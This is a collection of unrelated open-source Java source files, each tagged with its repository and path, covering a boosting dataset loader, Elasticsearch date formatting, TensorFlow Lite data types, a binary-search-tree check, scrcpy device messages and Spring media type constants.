DEFAULT_INDEX_FIT_CLASS = 0; public static int INDEX_FIT_CLASS(String s) { int i; for (i = 0; i < FIT_CLASS_MODALITIES.length; i++) if (s.equals(FIT_CLASS_MODALITIES[i])) return i; Dataset.perror("Value " + s + " for keyword " + FIT_CLASS + " not recognized"); return -1; } public static double TRANSLATE_SHRINK( double v, double translate_v, double min_v, double max_v, double max_m) { if ((v < min_v) || (v > max_v)) Dataset.perror("Value " + v + " is not in the interval [" + min_v + ", " + max_v + "]"); if (max_v < min_v) Dataset.perror("Max " + max_v + " < Min " + min_v); if (max_v == min_v) return v; double delta = (v - translate_v); double mm; if (Math.abs(max_v) > Math.abs(min_v)) mm = Math.abs(max_v - translate_v); else mm = Math.abs(min_v - translate_v); return ((delta / mm) * max_m); } public static double CENTER(double v, double avg, double stddev) { if (stddev == 0.0) { Dataset.warning("Standard deviation is zero"); return 0.0; } return ((v - avg) / stddev); } public static String SUFFIX_FEATURES = "features"; public static String SUFFIX_EXAMPLES = "data"; int index_class, number_initial_features, number_real_features, number_examples_total; double eta_noise; // training noise in the LS model String nameFeatures, nameExamples, pathSave, domainName; Vector features, examples; // WARNING : features also includes class int[] index_observation_features_to_index_features; Vector stratified_sample, training_sample, test_sample; Domain myDS; public static void perror(String error_text) { System.out.println("\n" + error_text); System.out.println("\nExiting to system\n"); System.exit(1); } public static void warning(String warning_text) { System.out.println(" * WARNING * " + warning_text); } Dataset(String dir, String pref, Domain d, double eta) { myDS = d; eta_noise = eta; domainName = pref; nameFeatures = dir + SEP + pref + SEP + pref + "." + SUFFIX_FEATURES; nameExamples = dir + SEP + pref + SEP + pref + "." + SUFFIX_EXAMPLES; pathSave = dir + SEP + pref + SEP; } public void printFeatures() { int i; System.out.println(features.size() + " features : "); for (i = 0; i < features.size(); i++) System.out.println((Feature) features.elementAt(i)); System.out.println("Class index : " + index_class); } public void load_features() { FileReader e; BufferedReader br; StringTokenizer t; String dum, n, ty; Vector v = null; Vector dumv = new Vector(); int i, index = 0; features = new Vector(); index_class = -1; try { e = new FileReader(nameFeatures); br = new BufferedReader(e); while ((dum = br.readLine()) != null) { if ((dum.length() == 1) || ((dum.length() > 1) && (!dum.substring(0, KEY_COMMENT.length()).equals(KEY_COMMENT)))) { if (dum.substring(0, 1).equals(Dataset.START_KEYWORD)) { t = new StringTokenizer(dum, KEY_SEPARATION_STRING[SEPARATION_INDEX]); if (t.countTokens() < 2) Dataset.perror("No value for keyword " + t.nextToken()); n = t.nextToken(); if (n.equals(Dataset.FIT_CLASS)) Dataset.DEFAULT_INDEX_FIT_CLASS = Dataset.INDEX_FIT_CLASS(t.nextToken()); } else { t = new StringTokenizer(dum, KEY_SEPARATION_STRING[SEPARATION_INDEX]); if (t.countTokens() > 0) { n = t.nextToken(); ty = t.nextToken(); if (Feature.INDEX(ty) == Feature.CLASS_INDEX) { if (index_class != -1) Dataset.perror("At least two classes named such in feature file"); else index_class = index; } else { dumv.addElement(new Integer(index)); } if (Feature.HAS_MODALITIES(ty)) { v = new Vector(); while (t.hasMoreTokens()) v.addElement(t.nextToken()); } features.addElement(new Feature(n, ty, v)); index++; } } } } e.close(); } catch (IOException eee) { System.out.println( "Problem loading ." + SUFFIX_FEATURES + " file --- Check the access to file " + nameFeatures + "..."); System.exit(0); } index_observation_features_to_index_features = new int[dumv.size()]; for (i = 0; i < dumv.size(); i++) index_observation_features_to_index_features[i] = ((Integer) dumv.elementAt(i)).intValue(); Dataset.warning( "Class renormalization using method : " + Dataset.FIT_CLASS_MODALITIES[DEFAULT_INDEX_FIT_CLASS]); number_initial_features = features.size() - 1; if (Debug) System.out.println("Found " + features.size() + " features, including class"); } public void load_examples() { FileReader e; BufferedReader br; StringTokenizer t; String dum; Vector v = null; Double dd; examples = new Vector(); Example ee = null; int i, j, idd = 0, nex = 0; Vector<Vector<Double>> continuous_features_values = new Vector<>(); for (i = 0; i < features.size(); i++) if ((i != index_class) && (Feature.IS_CONTINUOUS(((Feature) features.elementAt(i)).type))) continuous_features_values.addElement(new Vector<Double>()); else continuous_features_values.addElement(null); // Computing the whole number of examples try { e = new FileReader(nameExamples); br = new BufferedReader(e); while ((dum = br.readLine()) != null) { if ((dum.length() == 1) || ((dum.length() > 1) && (!dum.substring(0, KEY_COMMENT.length()).equals(KEY_COMMENT)))) { t = new StringTokenizer(dum, KEY_SEPARATION_STRING[SEPARATION_INDEX]); if (t.countTokens() > 0) { nex++; } } } e.close(); } catch (IOException eee) { System.out.println( "Problem loading ." + SUFFIX_FEATURES + " file --- Check the access to file " + nameFeatures + "..."); System.exit(0); } if (SAVE_MEMORY) System.out.print(nex + " examples to load... "); number_examples_total = 0; try { e = new FileReader(nameExamples); br = new BufferedReader(e); while ((dum = br.readLine()) != null) { if ((dum.length() == 1) || ((dum.length() > 1) && (!dum.substring(0, KEY_COMMENT.length()).equals(KEY_COMMENT)))) { t = new StringTokenizer(dum, KEY_SEPARATION_STRING[SEPARATION_INDEX]); if (t.countTokens() > 0) { v = new Vector(); while (t.hasMoreTokens()) v.addElement(t.nextToken()); // v contains the class information ee = new Example(idd, v, index_class, features); number_examples_total++; examples.addElement(ee); number_real_features = ee.typed_features.size(); idd++; for (i = 0; i < features.size(); i++) if ((i != index_class) && (Feature.IS_CONTINUOUS(((Feature) features.elementAt(i)).type))) { dd = new Double(((Double) ee.typed_features.elementAt(i)).doubleValue()); if (!continuous_features_values.elementAt(i).contains(dd)) continuous_features_values.elementAt(i).addElement(dd); } if (SAVE_MEMORY) if (idd % (nex / 20) == 0) System.out.print(((idd / (nex / 20)) * 5) + "% " + myDS.memString() + " "); } } } e.close(); } catch (IOException eee) { System.out.println( "Problem loading ." + SUFFIX_EXAMPLES + " file --- Check the access to file " + nameExamples + "..."); System.exit(0); } if (number_examples_total != nex) Dataset.perror("Dataset.class :: mismatch in the number of examples"); if (SAVE_MEMORY) System.out.print("ok. \n"); double[] all_vals; for (i = 0; i < features.size(); i++) if ((i != index_class) && (Feature.IS_CONTINUOUS(((Feature) features.elementAt(i)).type))) { all_vals = new double[continuous_features_values.elementAt(i).size()]; for (j = 0; j < continuous_features_values.elementAt(i).size(); j++) all_vals[j] = continuous_features_values.elementAt(i).elementAt(j).doubleValue(); QuickSort.quicksort(all_vals); ((Feature) features.elementAt(i)).update_tests(all_vals); } // normalizing classes double[] all_classes = new double[number_examples_total]; for (i = 0; i < number_examples_total; i++) all_classes[i] = ((Example) examples.elementAt(i)).unnormalized_class; double min_c, max_c, tv; max_c = min_c = tv = 0.0; for (i = 0; i < number_examples_total; i++) { if ((i == 0) || (max_c < all_classes[i])) max_c = all_classes[i]; if ((i == 0) || (min_c > all_classes[i])) min_c = all_classes[i]; } if (DEFAULT_INDEX_FIT_CLASS == 0) { // checks that there is only two modalities for (i = 0; i < number_examples_total; i++) if ((all_classes[i] != min_c) && (all_classes[i] != max_c)) Dataset.perror( "class value " + all_classes[i] + " should be either " + min_c + " or " + max_c); tv = (min_c + max_c) / 2.0; } else if ((DEFAULT_INDEX_FIT_CLASS == 1) || (DEFAULT_INDEX_FIT_CLASS == 4)) { tv = 0.0; for (i = 0; i < number_examples_total; i++) tv += all_classes[i]; tv /= (double) number_examples_total; } else if (DEFAULT_INDEX_FIT_CLASS == 2) { tv = 0.0; QuickSort.quicksort(all_classes); tv = all_classes[number_examples_total / 2]; } else if (DEFAULT_INDEX_FIT_CLASS == 3) { tv = (min_c + max_c) / 2.0; } // end int errfound = 0; for (i = 0; i < number_examples_total; i++) { ee = (Example) examples.elementAt(i); ee.complete_normalized_class(tv, min_c, max_c, eta_noise); errfound += ee.checkFeatures(features, index_class); } if (errfound > 0) Dataset.perror( "Dataset.class :: found " + errfound + " errs for feature domains in examples. Please correct domains in .features file." + " "); if (Debug) System.out.println("Found " + examples.size() + " examples"); } public double getProportionExamplesSign(boolean positive) { int i; double cc, tot = 0.0; for (i = 0; i < number_examples_total; i++) { cc = ((Example) examples.elementAt(i)).normalized_class; if ((positive) && (cc >= 0.0)) tot++; else if ((!positive) && (cc < 0.0)) tot++; } tot /= (double) number_examples_total; return tot; } public double getProportionExamplesSign(Vector v, boolean positive) { int i; double cc, tot = 0.0; for (i = 0; i < v.size(); i++) { cc = ((Example) examples.elementAt(((Integer) v.elementAt(i)).intValue())).normalized_class; if ((positive) && (cc >= 0.0)) tot++; else if ((!positive) && (cc < 0.0)) tot++; } tot /= (double) number_examples_total; return tot; } public void generate_stratified_sample_with_check(boolean check_labels) { // stratifies sample and checks that each training sample has at least one example of each class // sign & samples are non trivial boolean check_ok = true; int i; Vector cts; double v; System.out.print( "Generating " + Dataset.NUMBER_STRATIFIED_CV + "-folds stratified sample ... "); if (!check_labels) generate_stratified_sample(); else { do { if (Debug) System.out.print( "Checking that each fold has at least one example of each class & is non trivial (no" + " variable with edges of the same sign) "); check_ok = true; generate_stratified_sample(); i = 0; do { cts = (Vector) training_sample.elementAt(i); v = getProportionExamplesSign(cts, true); if ((v == 0.0) || (v == 1.0)) check_ok = false; i++; if (Debug) System.out.print("."); } while ((i < training_sample.size()) && (check_ok)); if (Debug && check_ok) System.out.println("ok."); if (Debug && !check_ok) System.out.println("\nBad fold# " + (i - 1) + " Retrying"); } while (!check_ok); } System.out.print(" ok.\n"); } public void generate_stratified_sample() { Vector all = new Vector(); Vector all2 = new Vector(); Vector dumv, dumvtr, dumvte, refv; Random r = new Random(); int indexex = 0, indexse = 0; stratified_sample = new Vector(); int i, ir, j, k; for (i = 0; i < number_examples_total; i++) all.addElement(new Integer(i)); do { if (all.size() > 1) ir = r.nextInt(all.size()); else ir = 0; all2.addElement((Integer) all.elementAt(ir)); all.removeElementAt(ir); } while (all.size() > 0); for (i = 0; i < Dataset.NUMBER_STRATIFIED_CV; i++) stratified_sample.addElement(new Vector()); do { dumv = (Vector) stratified_sample.elementAt(indexse); dumv.addElement((Integer) all2.elementAt(indexex)); indexex++; indexse++; if (indexse >= Dataset.NUMBER_STRATIFIED_CV) indexse = 0; } while (indexex < number_examples_total); training_sample = new Vector(); test_sample = new Vector(); for (i = 0; i < Dataset.NUMBER_STRATIFIED_CV; i++) { dumvtr = new Vector(); dumvte = new Vector(); for (j = 0; j < Dataset.NUMBER_STRATIFIED_CV; j++) { dumv = (Vector) stratified_sample.elementAt(j); if (j == i) refv = dumvte; else refv = dumvtr; for (k = 0; k < dumv.size(); k++) refv.addElement((Integer) dumv.elementAt(k)); } training_sample.addElement(dumvtr); test_sample.addElement(dumvte); } } public int train_size(int fold) { return ((Vector) training_sample.elementAt(fold)).size(); } public int test_size(int fold) { return ((Vector) test_sample.elementAt(fold)).size(); } public Example train_example(int fold, int nex) { return (Example) examples.elementAt( ((Integer) ((Vector) training_sample.elementAt(fold)).elementAt(nex)).intValue()); } public Example test_example(int fold, int nex) { return (Example) examples.elementAt( ((Integer) ((Vector) test_sample.elementAt(fold)).elementAt(nex)).intValue()); } public void init_weights(String loss_name, int fold, double tt) { Example ee; int i; for (i = 0; i < train_size(fold); i++) { ee = train_example(fold, i); if (loss_name.equals(Boost.KEY_NAME_TEMPERED_LOSS)) ee.current_boosting_weight = 1.0 / Math.pow((double) train_size(fold), 1.0 / (2.0 - tt)); // TEMPERED ADABOOST else if (loss_name.equals(Boost.KEY_NAME_LOG_LOSS)) ee.current_boosting_weight = 0.5; // LOGISTIC / LOG LOSS } } public double averageTrain_size() { int i; double val = 0.0; for (i = 0; i < NUMBER_STRATIFIED_CV; i++) val += (double) train_size(i); val /= (double) NUMBER_STRATIFIED_CV; return val; } }
google-research/google-research
tempered_boosting/Dataset.java
403
/* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License * 2.0 and the Server Side Public License, v 1; you may not use this file except * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ package org.elasticsearch.common.time; import org.elasticsearch.common.Strings; import org.elasticsearch.index.IndexVersion; import org.elasticsearch.index.IndexVersions; import java.time.Instant; import java.time.ZoneId; import java.time.ZoneOffset; import java.time.format.DateTimeParseException; import java.time.temporal.TemporalAccessor; import java.util.ArrayList; import java.util.List; import java.util.Locale; public interface DateFormatter { /** * Try to parse input to a java time TemporalAccessor * @param input An arbitrary string resembling the string representation of a date or time * @throws DateTimeParseException If parsing fails, this exception will be thrown. * Note that it can contained suppressed exceptions when several formatters failed parse this value * @return The java time object containing the parsed input */ TemporalAccessor parse(String input); /** * Parse the given input into millis-since-epoch. */ default long parseMillis(String input) { return DateFormatters.from(parse(input)).toInstant().toEpochMilli(); } /** * Create a copy of this formatter that is configured to parse dates in the specified time zone * * @param zoneId The time zone to act on * @return A copy of the date formatter this has been called on */ DateFormatter withZone(ZoneId zoneId); /** * Create a copy of this formatter that is configured to parse dates in the specified locale * * @param locale The local to use for the new formatter * @return A copy of the date formatter this has been called on */ DateFormatter withLocale(Locale locale); /** * Print the supplied java time accessor in a string based representation according to this formatter * * @param accessor The temporal accessor used to format * @return The string result for the formatting */ String format(TemporalAccessor accessor); /** * Return the given millis-since-epoch formatted with this format. */ default String formatMillis(long millis) { ZoneId zone = zone() != null ? zone() : ZoneOffset.UTC; return format(Instant.ofEpochMilli(millis).atZone(zone)); } /** * A name based format for this formatter. Can be one of the registered formatters like <code>epoch_millis</code> or * a configured format like <code>HH:mm:ss</code> * * @return The name of this formatter */ String pattern(); /** * Returns the configured locale of the date formatter * * @return The locale of this formatter */ Locale locale(); /** * Returns the configured time zone of the date formatter * * @return The time zone of this formatter */ ZoneId zone(); /** * Create a DateMathParser from the existing formatter * * @return The DateMathParser object */ DateMathParser toDateMathParser(); static DateFormatter forPattern(String input) { return forPattern(input, IndexVersion.current()); } static DateFormatter forPattern(String input, IndexVersion supportedVersion) { if (Strings.hasLength(input) == false) { throw new IllegalArgumentException("No date pattern provided"); } // support the 6.x BWC compatible way of parsing java 8 dates if (input.startsWith("8")) { input = input.substring(1); } // forPattern can be hot (e.g. executing a date processor on each document in a 1000 document bulk index request), // so this is a for each loop instead of the equivalent stream pipeline String[] patterns = splitCombinedPatterns(input); List<DateFormatter> formatters = new ArrayList<>(patterns.length); for (String pattern : patterns) { // make sure we still support camel case for indices created before 8.0 if (supportedVersion.before(IndexVersions.V_8_0_0)) { pattern = LegacyFormatNames.camelCaseToSnakeCase(pattern); } formatters.add(DateFormatters.forPattern(pattern)); } if (formatters.size() == 1) { return formatters.get(0); } return JavaDateFormatter.combined(input, formatters); } static String[] splitCombinedPatterns(String input) { String[] patterns = Strings.delimitedListToStringArray(input, "||"); for (String pattern : patterns) { if (Strings.hasLength(pattern) == false) { throw new IllegalArgumentException("Cannot have empty element in multi date format pattern: " + input); } } return patterns; } }
elastic/elasticsearch
server/src/main/java/org/elasticsearch/common/time/DateFormatter.java
404
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ package org.tensorflow.lite; /** Represents the type of elements in a TensorFlow Lite {@link Tensor} as an enum. */ public enum DataType { /** 32-bit single precision floating point. */ FLOAT32(1), /** 32-bit signed integer. */ INT32(2), /** 8-bit unsigned integer. */ UINT8(3), /** 64-bit signed integer. */ INT64(4), /** Strings. */ STRING(5), /** Bool. */ BOOL(6), /** 16-bit signed integer. */ INT16(7), /** 8-bit signed integer. */ INT8(9); private final int value; DataType(int value) { this.value = value; } /** Returns the size of an element of this type, in bytes, or -1 if element size is variable. */ public int byteSize() { switch (this) { case FLOAT32: case INT32: return 4; case INT16: return 2; case INT8: case UINT8: return 1; case INT64: return 8; case BOOL: // Boolean size is JVM-dependent. return -1; case STRING: return -1; } throw new IllegalArgumentException( "DataType error: DataType " + this + " is not supported yet"); } /** Corresponding value of the TfLiteType enum in the TensorFlow Lite C API. */ int c() { return value; } }
tensorflow/tensorflow
tensorflow/lite/java/src/main/java/org/tensorflow/lite/DataType.java
406
//Java implementation to check if given Binary tree //is a BST or not /* Class containing left and right child of current node and key value*/ class Node { int data; Node left, right; public Node(int item) { data = item; left = right = null; } } public class BinaryTree { //Root of the Binary Tree Node root; /* can give min and max value according to your code or can write a function to find min and max value of tree. */ /* returns true if given search tree is binary search tree (efficient version) */ boolean isBST() { return isBSTUtil(root, Integer.MIN_VALUE, Integer.MAX_VALUE); } /* Returns true if the given tree is a BST and its values are >= min and <= max. */ boolean isBSTUtil(Node node, int min, int max) { /* an empty tree is BST */ if (node == null) return true; /* false if this node violates the min/max constraints */ if (node.data < min || node.data > max) return false; /* otherwise check the subtrees recursively tightening the min/max constraints */ // Allow only distinct values return (isBSTUtil(node.left, min, node.data-1) && isBSTUtil(node.right, node.data+1, max)); } /* Driver program to test above functions */ public static void main(String args[]) { BinaryTree tree = new BinaryTree(); tree.root = new Node(4); tree.root.left = new Node(2); tree.root.right = new Node(5); tree.root.left.left = new Node(1); tree.root.left.right = new Node(3); if (tree.isBST()) System.out.println("IS BST"); else System.out.println("Not a BST"); } }
geekcomputers/Python
binarySTree isTrue_YashV1729.Java
407
package com.genymobile.scrcpy; public final class DeviceMessage { public static final int TYPE_CLIPBOARD = 0; public static final int TYPE_ACK_CLIPBOARD = 1; public static final int TYPE_UHID_OUTPUT = 2; private int type; private String text; private long sequence; private int id; private byte[] data; private DeviceMessage() { } public static DeviceMessage createClipboard(String text) { DeviceMessage event = new DeviceMessage(); event.type = TYPE_CLIPBOARD; event.text = text; return event; } public static DeviceMessage createAckClipboard(long sequence) { DeviceMessage event = new DeviceMessage(); event.type = TYPE_ACK_CLIPBOARD; event.sequence = sequence; return event; } public static DeviceMessage createUhidOutput(int id, byte[] data) { DeviceMessage event = new DeviceMessage(); event.type = TYPE_UHID_OUTPUT; event.id = id; event.data = data; return event; } public int getType() { return type; } public String getText() { return text; } public long getSequence() { return sequence; } public int getId() { return id; } public byte[] getData() { return data; } }
Genymobile/scrcpy
server/src/main/java/com/genymobile/scrcpy/DeviceMessage.java
409
/* * Copyright 2002-2024 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.http; import java.io.Serializable; import java.nio.charset.Charset; import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import org.springframework.lang.Nullable; import org.springframework.util.Assert; import org.springframework.util.CollectionUtils; import org.springframework.util.InvalidMimeTypeException; import org.springframework.util.MimeType; import org.springframework.util.MimeTypeUtils; import org.springframework.util.StringUtils; /** * A subclass of {@link MimeType} that adds support for quality parameters * as defined in the HTTP specification. * * @author Arjen Poutsma * @author Juergen Hoeller * @author Rossen Stoyanchev * @author Sebastien Deleuze * @author Kazuki Shimizu * @author Sam Brannen * @author Hyoungjune Kim * @since 3.0 * @see <a href="https://tools.ietf.org/html/rfc7231#section-3.1.1.1"> * HTTP 1.1: Semantics and Content, section 3.1.1.1</a> */ public class MediaType extends MimeType implements Serializable { private static final long serialVersionUID = 2069937152339670231L; /** * Public constant media type that includes all media ranges (i.e. "&#42;/&#42;"). */ public static final MediaType ALL; /** * A String equivalent of {@link MediaType#ALL}. */ public static final String ALL_VALUE = "*/*"; /** * Public constant media type for {@code application/atom+xml}. */ public static final MediaType APPLICATION_ATOM_XML; /** * A String equivalent of {@link MediaType#APPLICATION_ATOM_XML}. */ public static final String APPLICATION_ATOM_XML_VALUE = "application/atom+xml"; /** * Public constant media type for {@code application/cbor}. * @since 5.2 */ public static final MediaType APPLICATION_CBOR; /** * A String equivalent of {@link MediaType#APPLICATION_CBOR}. * @since 5.2 */ public static final String APPLICATION_CBOR_VALUE = "application/cbor"; /** * Public constant media type for {@code application/x-www-form-urlencoded}. */ public static final MediaType APPLICATION_FORM_URLENCODED; /** * A String equivalent of {@link MediaType#APPLICATION_FORM_URLENCODED}. */ public static final String APPLICATION_FORM_URLENCODED_VALUE = "application/x-www-form-urlencoded"; /** * Public constant media type for {@code application/graphql+json}. * @since 5.3.19 * @see <a href="https://github.com/graphql/graphql-over-http/pull/215">GraphQL over HTTP spec change</a> * @deprecated as of 6.0.3, in favor of {@link MediaType#APPLICATION_GRAPHQL_RESPONSE} */ @Deprecated(since = "6.0.3", forRemoval = true) public static final MediaType APPLICATION_GRAPHQL; /** * A String equivalent of {@link MediaType#APPLICATION_GRAPHQL}. * @since 5.3.19 * @deprecated as of 6.0.3, in favor of {@link MediaType#APPLICATION_GRAPHQL_RESPONSE_VALUE} */ @Deprecated(since = "6.0.3", forRemoval = true) public static final String APPLICATION_GRAPHQL_VALUE = "application/graphql+json"; /** * Public constant media type for {@code application/graphql-response+json}. * @since 6.0.3 * @see <a href="https://github.com/graphql/graphql-over-http">GraphQL over HTTP spec</a> */ public static final MediaType APPLICATION_GRAPHQL_RESPONSE; /** * A String equivalent of {@link MediaType#APPLICATION_GRAPHQL_RESPONSE}. * @since 6.0.3 */ public static final String APPLICATION_GRAPHQL_RESPONSE_VALUE = "application/graphql-response+json"; /** * Public constant media type for {@code application/json}. */ public static final MediaType APPLICATION_JSON; /** * A String equivalent of {@link MediaType#APPLICATION_JSON}. * @see #APPLICATION_JSON_UTF8_VALUE */ public static final String APPLICATION_JSON_VALUE = "application/json"; /** * Public constant media type for {@code application/json;charset=UTF-8}. * @deprecated as of 5.2 in favor of {@link #APPLICATION_JSON} * since major browsers like Chrome * <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=438464"> * now comply with the specification</a> and interpret correctly UTF-8 special * characters without requiring a {@code charset=UTF-8} parameter. */ @Deprecated public static final MediaType APPLICATION_JSON_UTF8; /** * A String equivalent of {@link MediaType#APPLICATION_JSON_UTF8}. * @deprecated as of 5.2 in favor of {@link #APPLICATION_JSON_VALUE} * since major browsers like Chrome * <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=438464"> * now comply with the specification</a> and interpret correctly UTF-8 special * characters without requiring a {@code charset=UTF-8} parameter. */ @Deprecated public static final String APPLICATION_JSON_UTF8_VALUE = "application/json;charset=UTF-8"; /** * Public constant media type for {@code application/octet-stream}. */ public static final MediaType APPLICATION_OCTET_STREAM; /** * A String equivalent of {@link MediaType#APPLICATION_OCTET_STREAM}. */ public static final String APPLICATION_OCTET_STREAM_VALUE = "application/octet-stream"; /** * Public constant media type for {@code application/pdf}. * @since 4.3 */ public static final MediaType APPLICATION_PDF; /** * A String equivalent of {@link MediaType#APPLICATION_PDF}. * @since 4.3 */ public static final String APPLICATION_PDF_VALUE = "application/pdf"; /** * Public constant media type for {@code application/problem+json}. * @since 5.0 * @see <a href="https://www.iana.org/assignments/media-types/application/problem+json"> * Problem Details for HTTP APIs, 6.1. application/problem+json</a> */ public static final MediaType APPLICATION_PROBLEM_JSON; /** * A String equivalent of {@link MediaType#APPLICATION_PROBLEM_JSON}. * @since 5.0 */ public static final String APPLICATION_PROBLEM_JSON_VALUE = "application/problem+json"; /** * Public constant media type for {@code application/problem+json}. * @since 5.0 * @see <a href="https://www.iana.org/assignments/media-types/application/problem+json"> * Problem Details for HTTP APIs, 6.1. application/problem+json</a> * @deprecated as of 5.2 in favor of {@link #APPLICATION_PROBLEM_JSON} * since major browsers like Chrome * <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=438464"> * now comply with the specification</a> and interpret correctly UTF-8 special * characters without requiring a {@code charset=UTF-8} parameter. */ @Deprecated public static final MediaType APPLICATION_PROBLEM_JSON_UTF8; /** * A String equivalent of {@link MediaType#APPLICATION_PROBLEM_JSON_UTF8}. * @since 5.0 * @deprecated as of 5.2 in favor of {@link #APPLICATION_PROBLEM_JSON_VALUE} * since major browsers like Chrome * <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=438464"> * now comply with the specification</a> and interpret correctly UTF-8 special * characters without requiring a {@code charset=UTF-8} parameter. */ @Deprecated public static final String APPLICATION_PROBLEM_JSON_UTF8_VALUE = "application/problem+json;charset=UTF-8"; /** * Public constant media type for {@code application/problem+xml}. * @since 5.0 * @see <a href="https://www.iana.org/assignments/media-types/application/problem+xml"> * Problem Details for HTTP APIs, 6.2. application/problem+xml</a> */ public static final MediaType APPLICATION_PROBLEM_XML; /** * A String equivalent of {@link MediaType#APPLICATION_PROBLEM_XML}. * @since 5.0 */ public static final String APPLICATION_PROBLEM_XML_VALUE = "application/problem+xml"; /** * Public constant media type for {@code application/x-protobuf}. * @since 6.0 */ public static final MediaType APPLICATION_PROTOBUF; /** * A String equivalent of {@link MediaType#APPLICATION_PROTOBUF}. * @since 6.0 */ public static final String APPLICATION_PROTOBUF_VALUE = "application/x-protobuf"; /** * Public constant media type for {@code application/rss+xml}. * @since 4.3.6 */ public static final MediaType APPLICATION_RSS_XML; /** * A String equivalent of {@link MediaType#APPLICATION_RSS_XML}. * @since 4.3.6 */ public static final String APPLICATION_RSS_XML_VALUE = "application/rss+xml"; /** * Public constant media type for {@code application/x-ndjson}. * @since 5.3 */ public static final MediaType APPLICATION_NDJSON; /** * A String equivalent of {@link MediaType#APPLICATION_NDJSON}. * @since 5.3 */ public static final String APPLICATION_NDJSON_VALUE = "application/x-ndjson"; /** * Public constant media type for {@code application/stream+json}. * @since 5.0 * @deprecated as of 5.3, see notice on {@link #APPLICATION_STREAM_JSON_VALUE}. */ @Deprecated public static final MediaType APPLICATION_STREAM_JSON; /** * A String equivalent of {@link MediaType#APPLICATION_STREAM_JSON}. * @since 5.0 * @deprecated as of 5.3 since it originates from the W3C Activity Streams * specification which has a more specific purpose and has been since * replaced with a different mime type. Use {@link #APPLICATION_NDJSON} as * a replacement or any other line-delimited JSON format (e.g. JSON Lines, * JSON Text Sequences). */ @Deprecated public static final String APPLICATION_STREAM_JSON_VALUE = "application/stream+json"; /** * Public constant media type for {@code application/xhtml+xml}. */ public static final MediaType APPLICATION_XHTML_XML; /** * A String equivalent of {@link MediaType#APPLICATION_XHTML_XML}. */ public static final String APPLICATION_XHTML_XML_VALUE = "application/xhtml+xml"; /** * Public constant media type for {@code application/xml}. */ public static final MediaType APPLICATION_XML; /** * A String equivalent of {@link MediaType#APPLICATION_XML}. */ public static final String APPLICATION_XML_VALUE = "application/xml"; /** * Public constant media type for {@code application/yaml}. * @since 6.2 */ public static final MediaType APPLICATION_YAML; /** * A String equivalent of {@link MediaType#APPLICATION_YAML}. * @since 6.2 */ public static final String APPLICATION_YAML_VALUE = "application/yaml"; /** * Public constant media type for {@code image/gif}. */ public static final MediaType IMAGE_GIF; /** * A String equivalent of {@link MediaType#IMAGE_GIF}. */ public static final String IMAGE_GIF_VALUE = "image/gif"; /** * Public constant media type for {@code image/jpeg}. */ public static final MediaType IMAGE_JPEG; /** * A String equivalent of {@link MediaType#IMAGE_JPEG}. */ public static final String IMAGE_JPEG_VALUE = "image/jpeg"; /** * Public constant media type for {@code image/png}. */ public static final MediaType IMAGE_PNG; /** * A String equivalent of {@link MediaType#IMAGE_PNG}. */ public static final String IMAGE_PNG_VALUE = "image/png"; /** * Public constant media type for {@code multipart/form-data}. */ public static final MediaType MULTIPART_FORM_DATA; /** * A String equivalent of {@link MediaType#MULTIPART_FORM_DATA}. */ public static final String MULTIPART_FORM_DATA_VALUE = "multipart/form-data"; /** * Public constant media type for {@code multipart/mixed}. * @since 5.2 */ public static final MediaType MULTIPART_MIXED; /** * A String equivalent of {@link MediaType#MULTIPART_MIXED}. * @since 5.2 */ public static final String MULTIPART_MIXED_VALUE = "multipart/mixed"; /** * Public constant media type for {@code multipart/related}. * @since 5.2.5 */ public static final MediaType MULTIPART_RELATED; /** * A String equivalent of {@link MediaType#MULTIPART_RELATED}. * @since 5.2.5 */ public static final String MULTIPART_RELATED_VALUE = "multipart/related"; /** * Public constant media type for {@code text/event-stream}. * @since 4.3.6 * @see <a href="https://www.w3.org/TR/eventsource/">Server-Sent Events W3C recommendation</a> */ public static final MediaType TEXT_EVENT_STREAM; /** * A String equivalent of {@link MediaType#TEXT_EVENT_STREAM}. * @since 4.3.6 */ public static final String TEXT_EVENT_STREAM_VALUE = "text/event-stream"; /** * Public constant media type for {@code text/html}. */ public static final MediaType TEXT_HTML; /** * A String equivalent of {@link MediaType#TEXT_HTML}. */ public static final String TEXT_HTML_VALUE = "text/html"; /** * Public constant media type for {@code text/markdown}. * @since 4.3 */ public static final MediaType TEXT_MARKDOWN; /** * A String equivalent of {@link MediaType#TEXT_MARKDOWN}. * @since 4.3 */ public static final String TEXT_MARKDOWN_VALUE = "text/markdown"; /** * Public constant media type for {@code text/plain}. */ public static final MediaType TEXT_PLAIN; /** * A String equivalent of {@link MediaType#TEXT_PLAIN}. */ public static final String TEXT_PLAIN_VALUE = "text/plain"; /** * Public constant media type for {@code text/xml}. */ public static final MediaType TEXT_XML; /** * A String equivalent of {@link MediaType#TEXT_XML}. */ public static final String TEXT_XML_VALUE = "text/xml"; private static final String PARAM_QUALITY_FACTOR = "q"; static { // Not using "valueOf' to avoid static init cost ALL = new MediaType(MimeType.WILDCARD_TYPE, MimeType.WILDCARD_TYPE); APPLICATION_ATOM_XML = new MediaType("application", "atom+xml"); APPLICATION_CBOR = new MediaType("application", "cbor"); APPLICATION_FORM_URLENCODED = new MediaType("application", "x-www-form-urlencoded"); APPLICATION_GRAPHQL = new MediaType("application", "graphql+json"); 